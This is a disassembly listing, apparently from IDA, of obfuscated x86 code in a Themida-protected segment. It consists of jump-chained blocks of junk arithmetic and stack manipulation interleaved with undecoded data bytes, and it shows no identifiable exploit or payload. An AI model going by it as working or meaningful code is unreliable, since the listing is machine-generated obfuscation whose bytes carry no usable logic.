loc_54E18C: ; CODE XREF: Themida_:00546872j
push dword ptr [esp+4]
jmp loc_54B65A
; ---------------------------------------------------------------------------
db 80h, 0C3h, 84h
dd 5066C328h, 8808B652h, 0C8FE5AF0h, 0FFB5FFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E1A9: ; CODE XREF: Themida_:0054E446j
push 42h
jmp loc_54471E
; ---------------------------------------------------------------------------
loc_54E1B3: ; CODE XREF: Themida_:0054AD3Dj
inc ebp
jmp loc_54D9BB
; ---------------------------------------------------------------------------
loc_54E1B9: ; CODE XREF: Themida_:0054D084j
pop eax
add eax, edi
mov edi, [esp]
add esp, 4
jmp loc_543A20
; ---------------------------------------------------------------------------
db 57h
dd 0AC4C23BFh, 47B95103h, 53183222h, 0B92C06BBh, 0E3814B50h
dd 2DE92955h, 1BDCE381h, 53E943B1h, 81FFFFE2h, 491313C6h
dd 0EC835A0Eh, 24048904h, 814D49B8h, 0E543E947h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E202: ; CODE XREF: Themida_:00543F84j
sub dword ptr [esp], 24793907h
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_544F0B
; ---------------------------------------------------------------------------
db 54h
dd 153FE9h
db 0
; ---------------------------------------------------------------------------
loc_54E221: ; CODE XREF: Themida_:005465DAj
mov edx, eax
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 59FF673Bh
jmp loc_54A29C
; ---------------------------------------------------------------------------
db 89h
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 2404815Ch, 4E73380Bh
dd 0E6242C81h, 0E97B6D59h, 0FFFFE462h
; ---------------------------------------------------------------------------
loc_54E25C: ; CODE XREF: Themida_:0054AC0Ej
push edi
jmp loc_54D3ED
; ---------------------------------------------------------------------------
dw 8F66h
dd 57B6E902h, 48FFFFFh, 57AEE987h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E272: ; CODE XREF: Themida_:00547E84j
mov ebx, 6CCC544Eh
and ebx, 719B7EC6h
xchg edi, ebx
inc edi
xchg edi, ebx
neg ebx
shr ebx, 7
jmp loc_54B39A
; ---------------------------------------------------------------------------
dd 5B57BF57h, 0DCE93CA6h
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E297: ; CODE XREF: Themida_:00544F99j
shr eax, 1
add eax, 0E40C44A1h
push eax
pop ebp
push dword ptr [esp]
pop eax
add esp, 4
and ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_54A601
; ---------------------------------------------------------------------------
db 81h
dd 4E4BCAC6h, 0F0315953h, 0FF8503E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E2C5: ; CODE XREF: Themida_:0054A7B1j
mov edx, 554A3347h
xor edx, 7A904163h
jmp loc_54D851
; ---------------------------------------------------------------------------
loc_54E2D5: ; CODE XREF: Themida_:0054A307j
or ebp, edx
pop edx
xor ebp, 0B223D139h
sub edx, ebp
jmp loc_548EC2
; ---------------------------------------------------------------------------
db 81h, 0F6h, 14h
dd 0E926A46Fh, 0FFFF7455h, 89240489h, 4B951E0h, 1000000h
dd 240C8BC8h, 4C481h, 0E9510000h, 0FFFF8269h
; ---------------------------------------------------------------------------
loc_54E30C: ; CODE XREF: Themida_:0054CD1Fj
pop ebx
jmp loc_54BBF8
; ---------------------------------------------------------------------------
dw 4468h
dd 89000000h, 17B42404h, 0CC95E950h, 0EC83FFFFh, 24348904h
dd 42474FFh, 24048F5Eh, 6EC7E95Ch, 0E2C1FFFFh, 9BE8E908h
dd 0C181FFFFh, 4, 0FF7B28E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E349: ; CODE XREF: Themida_:0054E5AEj
xor ecx, 21E67E66h
mov ebx, ecx
pop ecx
jmp loc_54A124
; ---------------------------------------------------------------------------
db 0B3h
dd 66D82038h, 96A6E95Bh, 248BFFFFh, 48B6624h, 0FA6AE924h
dd 348BFFFFh, 0A29EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E376: ; CODE XREF: Themida_:0054924Aj
pop esp
push dword ptr [esp]
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push 5CF8h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_54628E
; ---------------------------------------------------------------------------
loc_54E39E: ; CODE XREF: Themida_:0054D21Dj
push 74A7h
mov [esp], eax
mov eax, esp
push edi
mov edi, 4
add eax, 41DA2023h
sub eax, 4DA21BF3h
sub eax, 25D840E2h
add eax, edi
add eax, 25D840E2h
push esi
mov esi, 0A3C1378h
jmp loc_54E913
; ---------------------------------------------------------------------------
db 50h
dd 0E588D488h, 0B6525A58h, 0FB6FE9C4h, 8953FFFFh, 4C381E3h
dd 81000000h, 4C3h, 241C3300h, 0E9241C31h, 0FFFFCA1Bh
dd 0BB241C89h, 4, 0FF67C9E9h, 81DDF7FFh, 0AB31EFCDh, 83AEE96Bh
dd 0EA00FFFFh, 5976EA80h, 0E996C280h, 0FFFF5E74h, 8758C101h
dd 248B240Ch, 8DEB8024h, 0D6E9C328h
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E433: ; CODE XREF: Themida_:00547789j
pop dx
sub bx, ax
jmp loc_54A9FE
; ---------------------------------------------------------------------------
loc_54E43D: ; CODE XREF: Themida_:00543EE3j
xchg ebp, [esp]
pop esp
shr eax, 0Ah
xor eax, ecx
jmp loc_54E1A9
; ---------------------------------------------------------------------------
loc_54E44B: ; CODE XREF: Themida_:0054C973j
add eax, 4
add eax, 4
jmp loc_54DF91
; ---------------------------------------------------------------------------
dd 2474FF55h, 48F5D04h, 0F7665C24h, 186866E1h, 0B317E97Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E46E: ; CODE XREF: Themida_:0054A650j
sub edx, 46862DEDh
inc edx
jmp loc_54FA63
; ---------------------------------------------------------------------------
dw 0F281h
dd 4F9A6156h, 0EA81D2F7h, 7398405Dh, 129F281h, 0D72977C4h
dd 0BA525B5Ah, 735F2A23h, 63A0F281h, 0BB5328B3h, 26A123CDh
dd 717E9h, 5FFB0100h, 0BD55C301h, 77E1138Bh, 2404FF55h
dd 0BAE9525Dh, 52FFFFF7h, 8904EC83h, 0EC81240Ch, 4, 0E9243489h
dd 0FFFFB75Fh, 9215E949h, 5352FFFFh, 0DE88AAB3h, 8BF0305Bh
dd 7F682414h, 89000045h, 0E189240Ch, 31A8BF57h, 0EF813DC4h
dd 4DB125DBh, 0BC9F781h, 0BAE9F013h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E507: ; CODE XREF: Themida_:00546FABj
sub esp, 4
mov [esp], ebp
mov ebp, 5CF534F8h
or ebp, 621D3CA3h
xor ebp, 44762E28h
sub ebp, 0EE97F9Eh
xor ebp, 3BA59715h
sub [edx+38h], ebp
pop ebp
push 6B27h
mov [esp], eax
push edx
push 481C7996h
pop edx
neg edx
jmp loc_549F45
; ---------------------------------------------------------------------------
dd 5AD4C781h, 6DE964FAh, 81FFFFB3h, 7A66DBF6h, 5EF101FFh
dd 0FFA58EE9h, 2157BFFFh, 4CE90DB9h, 8BFFFF6Ch, 0B1E92424h
dd 66FFFF54h, 51240C8Bh, 4EC81h, 24890000h, 26685524h
dd 0E9000026h, 0FFFFCDF3h, 2047FF59h, 0E9206FD1h, 0FFFFF367h
dd 0E904C483h, 0FFFFFE33h
; ---------------------------------------------------------------------------
loc_54E59C: ; CODE XREF: Themida_:0054A480j
shl esi, 1
sub esi, 85E2372Fh
xor eax, esi
pop esi
push ebx
push ecx
mov ecx, 23E67E66h
jmp loc_54E349
; ---------------------------------------------------------------------------
db 5Ah
dd 8060B450h, 0E528C9C4h, 0B6526658h, 66F530C6h, 0E3CBE95Ah
dd 0EBC1FFFFh, 7BE95706h, 8BFFFF90h, 0C9092424h, 0FF50840Fh
dd 0AE68FFFFh, 89000073h, 0BF572424h, 4, 0EAB85052h, 0E97DD074h
dd 0FFFF91BCh
; ---------------------------------------------------------------------------
loc_54E5F8: ; CODE XREF: Themida_:00545D7Fj
add esp, 4
shl dl, 5
inc dl
dec dl
jmp loc_54A4C3
; ---------------------------------------------------------------------------
dw 0BD55h
dd 27EF0F68h, 0FFD541E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E615: ; CODE XREF: Themida_:00544AC9j
xor eax, 55933408h
dec eax
jmp loc_54F05E
; ---------------------------------------------------------------------------
loc_54E620: ; CODE XREF: Themida_:0054E900j
add edx, ebp
mov ebp, [esp]
jmp loc_543B73
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 89243489h, 4C681E6h, 83000000h, 343304C6h, 24343124h
dd 0FFE750E9h, 805B66FFh, 0C2FE6CEAh, 0E995EA80h, 0FFFF6B89h
dd 4245C01h, 242C8B5Bh, 0FFADDBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E665: ; CODE XREF: Themida_:005450C5j
push ecx
mov ecx, 720B7F34h
or ebx, ecx
jmp loc_548469
; ---------------------------------------------------------------------------
dw 0D028h
dd 24148B66h, 81E18951h, 4C1h, 2C18300h, 5C240C87h, 0C004D800h
dd 83241C8Bh, 0EC8104C4h, 4, 81241489h, 4ECh, 0CC4DE900h
dd 0E630FFFFh, 35E95866h, 81FFFFB0h, 485047C1h, 81F1012Ch
dd 485047E9h, 0F9015E2Ch, 54E90103h, 29FFFFDBh, 24148BD3h
dd 0FFD60BE9h, 4C481FFh, 0F000000h, 1DE9C0B6h, 83000014h
dd 3E904ECh, 1FFFFBAh, 0EC815DEFh, 4, 68241489h, 2C12h
dd 0B9240C89h, 609A59C6h, 0FFDEA9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E705: ; CODE XREF: Themida_:0054C234j
push 2733h
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 6B7222FFh
push ecx
mov ecx, 2BDA121Bh
shl ecx, 6
jmp loc_54A753
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 88240489h, 8BE588DCh, 0C4832404h, 2434FF04h, 4C4815Bh
dd 0E9000000h, 0FFFF8FD6h
; ---------------------------------------------------------------------------
loc_54E754: ; CODE XREF: Themida_:00544CA0j
and eax, edi
pop edi
jmp loc_54744A
; ---------------------------------------------------------------------------
dd 53FFC683h, 102B3BBBh, 71B8503Eh, 0C11F797Bh, 0AC0508E8h
dd 0E94AD5F9h, 0FFFF8DDFh
; ---------------------------------------------------------------------------
loc_54E778: ; CODE XREF: Themida_:0054EE90j
add esp, 4
sub edi, 64D320D9h
sub edi, 581A6774h
add edi, ecx
push ebx
mov ebx, 581A6774h
add edi, ebx
pop ebx
push ebx
mov ebx, 64D320D9h
add edi, ebx
pop ebx
push 11B0h
mov [esp], ebx
mov ebx, 1110DFFh
add ebx, 1CDB1042h
sub ebx, 0A27EF86Bh
push ecx
jmp loc_54F793
; ---------------------------------------------------------------------------
db 59h, 81h, 0C4h
dd 4, 22Dh, 74FF5000h, 0E9580424h, 0FFFF8C49h, 8904EC83h
dd 0ECB9240Ch, 57001D54h, 0E67509BFh, 5FF92912h, 0A3E95356h
dd 5DFFFF73h, 4EC835Bh, 0FF594AE9h, 0B3EE80FFh, 665AF530h
dd 28D4B652h, 0F2E2E9F5h, 8147FFFFh, 5A249AE7h, 4F78116h
dd 2D001220h, 0AC96A53h, 5305F801h, 5F0AC96Ah, 0E9240433h
dd 0FFFF61A4h, 482DD829h, 6823EA37h, 2B6Fh, 0BE243489h
dd 76D91330h, 1B7F4A05h, 0E2EAE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E84A: ; CODE XREF: Themida_:0054AA50j
xor dx, 5191h
jmp loc_5467DC
; ---------------------------------------------------------------------------
dd 4BB53h, 0DF010000h, 2C7815Bh, 87000000h, 248B243Ch
dd 0AB0F6624h, 0E99C2404h, 0FFFF51ACh, 0BA241489h, 0FA3CEAB1h
dd 815AD029h, 4ECh, 24048900h, 24048B5Bh, 60F068h, 7077E900h
dd 58FFFFh, 2434FFC8h, 4C48159h, 0FF000000h, 555B2434h
dd 0C5815D54h, 4, 4C581h, 2C870000h, 0D6E95C24h
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E8BF: ; CODE XREF: Themida_:0054525Bj
mov [esp], eax
mov eax, 25BC7874h
sub edx, eax
pop eax
push edx
sub dword ptr [esp], 3B546EFAh
pop ecx
add ecx, 3B546EFAh
pop edx
sub eax, ecx
pop ecx
jmp loc_5460FA
; ---------------------------------------------------------------------------
dw 21B2h
dd 0BFE9D730h
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E8EB: ; CODE XREF: Themida_:0054DC8Aj
dec edx
inc edx
add edx, 0FC92032h
mov ebp, 410C2BEBh
xor ebp, edx
pop edx
mov edx, 845AB6CFh
jmp loc_54E620
; ---------------------------------------------------------------------------
db 57h, 0E9h, 0EBh
dd 0FFFF6Ch, 43E953D0h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E913: ; CODE XREF: Themida_:0054E3CAj
add esi, 15A249BBh
and esi, 49EA1D75h
neg esi
jmp loc_54CB1F
; ---------------------------------------------------------------------------
a34QP0iy db '34$\Qµ0ëY',0
db 0D8h, 5Bh, 80h
dd 0EAE9C7C3h, 50FFFF52h, 4B8h, 58C18900h, 0FFDABCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E949: ; CODE XREF: Themida_:00544799j
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
add eax, 4
add eax, 4
jmp loc_547E77
; ---------------------------------------------------------------------------
db 0F7h, 0D6h, 81h
dd 53179BE6h, 681BE90Ah, 575DFFFFh, 3A7A0CBFh, 40685665h
dd 5E2BEA41h, 0FFD955E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E98D: ; CODE XREF: Themida_:00549FA7j
xchg edi, [esp]
jmp loc_54AFAB
; ---------------------------------------------------------------------------
db 81h, 0F6h, 5
dd 894B5BDCh, 0C1015EF0h, 8324048Bh, 0A4E904C4h, 64FFFFC9h
dd 2B60F66h, 35EE6866h, 24048966h, 0FFD7BEE9h, 0B45051FFh
dd 58E5883Eh, 803FF580h, 90E990F5h, 59FFFFBCh, 0FF5A64E9h
dd 95E953FFh
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E9DB: ; CODE XREF: Themida_:00549721j
pop dword ptr [esp]
mov eax, [esp]
push ebx
mov ebx, esp
push ecx
mov ecx, 25320CA9h
xor ecx, 3C0C7B64h
jmp loc_54410A
; ---------------------------------------------------------------------------
db 0B8h, 4, 0
dd 0C7010000h, 5624048Bh, 0C681E689h, 4, 0FFEF7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EA0D: ; CODE XREF: Themida_:0054D88Fj
push ebx
sub dword ptr [esp], 16A42CE5h
pop edi
add edi, 16A42CE5h
push edx
mov edx, edi
jmp loc_54B7AA
; ---------------------------------------------------------------------------
loc_54EA24: ; CODE XREF: Themida_:0054CE47j
add eax, 4
xor eax, [esp]
jmp loc_54FB76
; ---------------------------------------------------------------------------
db 33h
dd 0D0E92404h
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EA37: ; CODE XREF: Themida_:0054D8D2j
push 193Dh
jmp loc_54A7F3
; ---------------------------------------------------------------------------
db 56h, 68h, 4
dd 5E000000h, 685EF701h, 0A79h, 68240489h, 2, 0FFB563E9h
dd 0EC835CFFh, 24148904h, 42474FFh, 8324148Bh, 48F04C4h
dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6F6Ch
dd 2C3835Fh, 31241C33h, 1C33241Ch, 24248B24h, 240C8B66h
dd 0E9E08950h, 0FFFFC964h
; ---------------------------------------------------------------------------
loc_54EAA0: ; CODE XREF: Themida_:00549112j
or eax, eax
jz loc_54FA98
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ecx
push 530Fh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
push esi
mov esi, 4
jmp loc_54686E
; ---------------------------------------------------------------------------
db 81h, 0F1h, 77h
aFUrqPcs db '”ÖURQ¹PcS',0
dw 0E981h
dd 800DA623h, 5259CA89h, 0CD015A5Dh, 0FF5BBBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EAF9: ; CODE XREF: Themida_:00547B38j
shl edx, 1
push 2A53h
mov [esp], esi
push 100838D3h
pop esi
sub esp, 4
mov [esp], edi
push edx
mov edx, 100838D2h
mov edi, edx
pop edx
jmp loc_547B67
; ---------------------------------------------------------------------------
loc_54EB20: ; CODE XREF: Themida_:0054D4E1j
push 2524h
mov [esp], ecx
jmp loc_5443E8
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5F04h, 88645C24h, 6048E902h, 0C89FFFFh, 0C450E924h
dd 5966FFFFh, 0E903EAC0h, 0FFFF67C5h, 5C241487h, 50240C89h
dd 50520EB0h, 0FFB950E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EB61: ; CODE XREF: Themida_:0054BDE0j
mov edx, [esp]
add esp, 4
loc_54EB67: ; CODE XREF: Themida_:00546AFAj
push ebx
push ebp
mov ebp, 37AE662Bh
xor [esp+4], ebp
push dword ptr [esp]
pop ebp
add esp, 4
pop eax
jmp loc_5476B0
; ---------------------------------------------------------------------------
dw 6068h
dd 89000039h, 18E9240Ch, 9FFFF7Bh, 0C2815FFAh, 0EA09B10Eh
dd 815AD389h, 5021D9EFh, 923AE919h, 8B66FFFFh, 0EC83240Ch
dd 24048904h, 0CCE9E089h, 28FFFFB3h, 0E95B66F8h, 0FFFFBC01h
dd 0E908EBC1h, 0FFFF834Fh, 0FF3877FFh, 0C8B2434h, 0E1895124h
dd 418E9h, 58C28800h, 0F69FC280h, 80D2F6DAh, 0CAFE16C2h
dd 0D7F6FA86h, 0F280FA86h, 4A4B6801h, 4890000h, 88D08824h
dd 805A58C5h, 0C5FEDAE5h, 6604E5C0h, 0E7A0E952h, 0EBC1FFFFh
dd 85CB8107h, 0E937451Fh, 0FFFFEBA2h, 1EBDC381h, 0C3814523h
dd 39473AFEh, 0FF71B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EC2D: ; CODE XREF: Themida_:0054D331j
push ecx
mov ecx, 3AE06803h
sub ebp, ecx
pop ecx
jmp loc_544572
; ---------------------------------------------------------------------------
db 5Fh
dd 147A302Dh, 551C052Fh, 0E8016D50h, 50551C2Dh, 7A30056Dh
dd 33052F14h, 5D284637h, 1D68h, 24148900h, 4A31ABBAh, 98F2810Fh
dd 52246269h, 5A2414F7h, 7AFBE956h, 5052FFFFh, 0FF587DE9h
dd 24348BFFh, 0FF6E6BE9h, 0C8B66FFh, 4EC8324h, 0FF8709E9h
dd 48B04FFh, 0C8B66F4h, 2C48324h, 57CA68h, 7475E900h, 55ACFFFFh
dd 0C5815D54h, 4, 4ED81h, 0FF550000h, 5D042474h, 5C24048Fh
dd 0B2241489h, 66DAF61Ch, 0AE33E953h, 2489FFFFh, 24048124h
dd 4, 4C5815Dh, 83000000h, 2C8704C5h, 0C4835C24h, 80DCE904h
dd 12DFFFFh, 55000000h, 0AB3E15BDh, 5DE8295Eh, 0D22E9h
db 0
; ---------------------------------------------------------------------------
loc_54ED01: ; CODE XREF: Themida_:00545D1Cj
xor ebp, 3A0294h
add ecx, ebp
pop ebp
xchg ecx, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
push 14C2h
mov [esp], edi
jmp loc_54BED9
; ---------------------------------------------------------------------------
db 88h, 0CFh, 0E9h
dd 26Fh, 63D96866h, 6602EC83h, 0E9242489h, 0FFFF6939h
dd 852F768h, 52535E54h, 0EE1DE956h, 0E828FFFFh, 36E9h
dd 6800h, 0C8E90000h
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ED5F: ; CODE XREF: Themida_:0054D3DAj
add bl, al
jmp loc_54964C
; ---------------------------------------------------------------------------
dw 0B652h
dd 5AF188E1h, 6866C9FEh, 89667AB1h, 7EB22414h, 5A66D120h
dd 0E180C1FEh, 0A7B45099h, 2EE9E130h, 59FFFFB9h, 0FFFB7AE9h
dd 5FFD29FFh, 875DE901h, 248B240Ch, 81575324h, 44432404h
dd 815B632Dh, 2D4443EBh, 0E7895763h, 4C781h, 0EF810000h
dd 4, 5C243C87h, 89240489h, 148B50D8h, 0E6E7E924h, 5652FFFFh
dd 7D4488BEh, 0C1ECE97Ch, 0C381FFFFh, 429044A8h, 0BD55FB01h
dd 37B326Eh, 0FFFFB951h, 0C581FFFFh, 447E0421h, 0ED81CD01h
dd 447E0421h, 0FFFBCEE9h, 0B2F381FFh, 29D51201h, 0C2895BD8h
dd 0FFD30158h, 815A2434h, 4C4h, 6AE95500h, 8BFFFF90h, 0C4832404h
dd 8982D04h, 0C7011B09h, 2C78158h, 0E9000000h, 0FFFFB1C6h
; ---------------------------------------------------------------------------
loc_54EE38: ; CODE XREF: Themida_:00546244j
push 364E2DD2h
mov edi, [esp]
add esp, 4
dec edi
xchg edx, edi
push edx
not dword ptr [esp]
pop edx
xchg edx, edi
jmp loc_54AF21
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 89240C89h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h
dd 5C240C33h, 55E18951h, 572D29BDh, 68A3E972h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE7E: ; CODE XREF: Themida_:005461D3j
pop ebp
jmp loc_5497C9
; ---------------------------------------------------------------------------
loc_54EE84: ; CODE XREF: Themida_:00543E6Ej
pop esp
push ebp
mov ebp, 7B6D25D6h
sub edi, ebp
mov ebp, [esp]
jmp loc_54E778
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 2
dd 0FF9EEBE9h, 89575CFFh, 8D84E9E7h, 0D2F6FFFFh, 0E980F280h
dd 0FFFF8F22h, 0AE9988BAh, 0E9EA2984h, 0FFFF76C9h, 0E949C280h
dd 0FFFFB2AFh
; ---------------------------------------------------------------------------
loc_54EEC4: ; CODE XREF: Themida_:005461A2j
mov [esp], edx
jmp loc_5478A9
; ---------------------------------------------------------------------------
dd 0E10CE950h, 483FFFFh, 8AE90424h
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EEDB: ; CODE XREF: Themida_:005458BCj
pop ecx
dec esi
push esi
inc dword ptr [esp]
pop esi
jmp loc_54B383
; ---------------------------------------------------------------------------
db 89h
dd 5A542414h, 0FF6A5BE9h, 0DDB252FFh, 148BD388h, 4C48124h
dd 0F6000000h, 6E3C0D3h, 14096866h, 24048966h, 0EDE90FB0h
dd 87FFFF5Eh, 815C2414h, 4C4h, 2434FF00h, 0FF5563E9h, 34FF5CFFh
dd 2434FF24h, 0E924048Bh, 0FFFFA805h, 5166C7FEh, 0CF28B8B1h
dd 0FFB637E9h, 89515CFFh, 4C181E1h, 0E9000000h, 0FFFFF6BAh
dd 0E9241C8Bh, 0FFFFB478h, 8473E950h, 0C383FFFFh, 241C8704h
dd 6E9535Ch, 81FFFFE9h, 231EBDEBh, 0E9C30145h, 0FFFFFCA4h
; ---------------------------------------------------------------------------
loc_54EF78: ; CODE XREF: Themida_:0054B86Dj
push 52F6h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push esi
push ebx
mov ebx, 735853CDh
xor ebx, 735853C9h
jmp loc_548A64
; ---------------------------------------------------------------------------
dw 81E9h
dd 59FFFF4Ah, 8BE70058h, 0C4812404h, 4, 0FF7756E9h, 6DE943FFh
dd 8BFFFFE8h, 89502434h, 405E0h, 4050000h, 0E9000000h
dd 0FFFF734Eh, 79E9D828h
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EFD3: ; CODE XREF: Themida_:0054ABDFj
and ebx, 20004328h
add ebx, 0AF6C0BBEh
mov ecx, ebx
pop ebx
add eax, ecx
mov ecx, [esp]
add esp, 4
mov edx, eax
jmp loc_54690F
; ---------------------------------------------------------------------------
db 56h, 0E9h, 61h
db 5Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EFF7: ; CODE XREF: Themida_:00549CF6j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_547798
; ---------------------------------------------------------------------------
dd 2C581h, 2C870000h, 0E6FEE924h, 468FFFFh, 5B000000h
dd 0FF6D4EE9h, 0D830ACFFh, 73ED68h, 24148900h, 0FFD2E4E9h
dd 0C1EAD1FFh, 0EAD102E2h, 14C2F281h, 0D7095B60h, 92EF815Ah
dd 81BC0093h, 32CBDC7h, 0A8EF8138h, 0E9333968h, 0FFFF76C6h
dd 0F65AD720h, 2C8E9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F05E: ; CODE XREF: Themida_:0054E61Bj
sub eax, 543B563Eh
add ebx, eax
pop eax
add ebx, 4
jmp loc_5464AD
; ---------------------------------------------------------------------------
dw 0F281h
dd offset dword_43E5AC+5A76h
dd 65E9D301h, 8BFFFF86h, 0F7662424h, 976866E9h, 14896629h
dd 9C506624h, 0FF498FE9h, 0B95157FFh, 2D02005Dh, 3F83C181h
dd 0C149162Fh, 0C18108E1h, 4ED0949h, 44E9CF89h, 0C0FFFFD0h
dd 0EC8305EDh, 4896602h, 0B5516624h, 0EF885301h, 665BF888h
dd 66C50059h, 1A686658h, 1C896650h, 0B9B65224h, 9E9F788h
dd 8BFFFF6Eh, 5451240Ch, 50240C8Bh, 405E089h, 5000000h
dd 4, 0E9240487h, 0FFFFE9E6h, 4103C381h, 0D3F713A2h, 3ECCB951h
dd 0CB31EC3Dh, 8BDA0159h, 0C481241Ch, 4, 5C241487h, 0FF6725E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F11D: ; CODE XREF: Themida_:0054D8BAj
push eax
mov eax, esp
add eax, 4
jmp loc_54DF56
; ---------------------------------------------------------------------------
dw 0F189h
dd 0E959CB89h, 0FFFF6362h, 0F2753005h, 55F02954h, 0F27530BDh
dd 0E9E82954h, 0FFFF970Bh, 0C681C601h, 29612189h, 0E9F20158h
dd 0FFFFDECAh
; ---------------------------------------------------------------------------
loc_54F158: ; CODE XREF: Themida_:00548D02j
mov ecx, 668800E8h
add ebx, 0D041030h
sub ebx, ecx
sub ebx, 0D041030h
pop ecx
jmp loc_54A61C
; ---------------------------------------------------------------------------
loc_54F171: ; CODE XREF: Themida_:00546AE6j
pop ebp
pop eax
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
xchg esi, [esp]
xchg ebx, esi
not ebx
jmp loc_543FDA
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4B850h, 0C2290000h, 24148758h, 2424895Ch, 4240481h
dd 5E000000h, 4BF57h, 0FE010000h, 4EE815Fh, 87000000h
dd 248B2434h, 242C8924h, 0FFB4AEE9h, 0EA32DFFh, 0E42D03BCh
dd 591EE523h, 2BA52h, 2CE90000h
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F1DF: ; CODE XREF: Themida_:00548B85j
pop ecx
push ebx
mov bx, 1388h
sub bx, 777Bh
shl bx, 5
inc bx
inc bx
xchg dx, bx
inc dx
xchg dx, bx
add bx, 0F81Eh
sub si, bx
mov ebx, [esp]
add esp, 4
or si, 2871h
xor si, 0DF99h
add bx, si
pop esi
jmp loc_54BEEC
; ---------------------------------------------------------------------------
db 53h
dd 0FFD570E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F221: ; CODE XREF: Themida_:005480D9j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_54B154
; ---------------------------------------------------------------------------
dd 7FCC88BAh, 8BD1311Eh, 54562414h, 8324348Bh, 0C68104C4h
dd 4, 8704C683h, 0E95C2434h, 0FFFFCBBBh, 33240431h, 665C2404h
dd 5FE9F1F7h, 21FFFF67h, 13E91C4Fh
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F267: ; CODE XREF: Themida_:0054B1E3j
mov [esp], eax
push 48373149h
pop eax
sub esp, 4
mov [esp], edx
mov edx, 85C7FDAh
add eax, 72CF7517h
add eax, edx
sub eax, 72CF7517h
pop edx
push ecx
jmp loc_54ABD3
; ---------------------------------------------------------------------------
loc_54F291: ; CODE XREF: Themida_:005447E6j
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop eax
add eax, 4
push edx
jmp loc_54CE2E
; ---------------------------------------------------------------------------
loc_54F2A8: ; CODE XREF: Themida_:00548D97j
pop dword ptr [eax]
jmp loc_543A20
; ---------------------------------------------------------------------------
db 83h
dd 516604C4h, 742FE953h, 15DFFFFh, 8B04246Ch, 8950242Ch
dd 405E0h, 4050000h, 50000000h, 42474FFh, 24048F58h, 8AC6E95Ch
dd 0C8BFFFFh, 4C48124h, 5000000h, 4, 0E9240433h, 0FFFF872Ah
; ---------------------------------------------------------------------------
loc_54F2F4: ; CODE XREF: Themida_:0054655Fj
mov [esp], ebx
jmp loc_54BBBF
; ---------------------------------------------------------------------------
loc_54F2FC: ; CODE XREF: Themida_:0054F377j
sub esp, 4
mov [esp], edx
mov ebp, [esp]
add esp, 4
pop edx
jmp loc_549E1C
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0E9525954h, 0FFFF541Fh
; ---------------------------------------------------------------------------
loc_54F31C: ; CODE XREF: Themida_:00548BB8j
mov ebx, 4
jmp loc_548E80
; ---------------------------------------------------------------------------
dw 0DFF6h
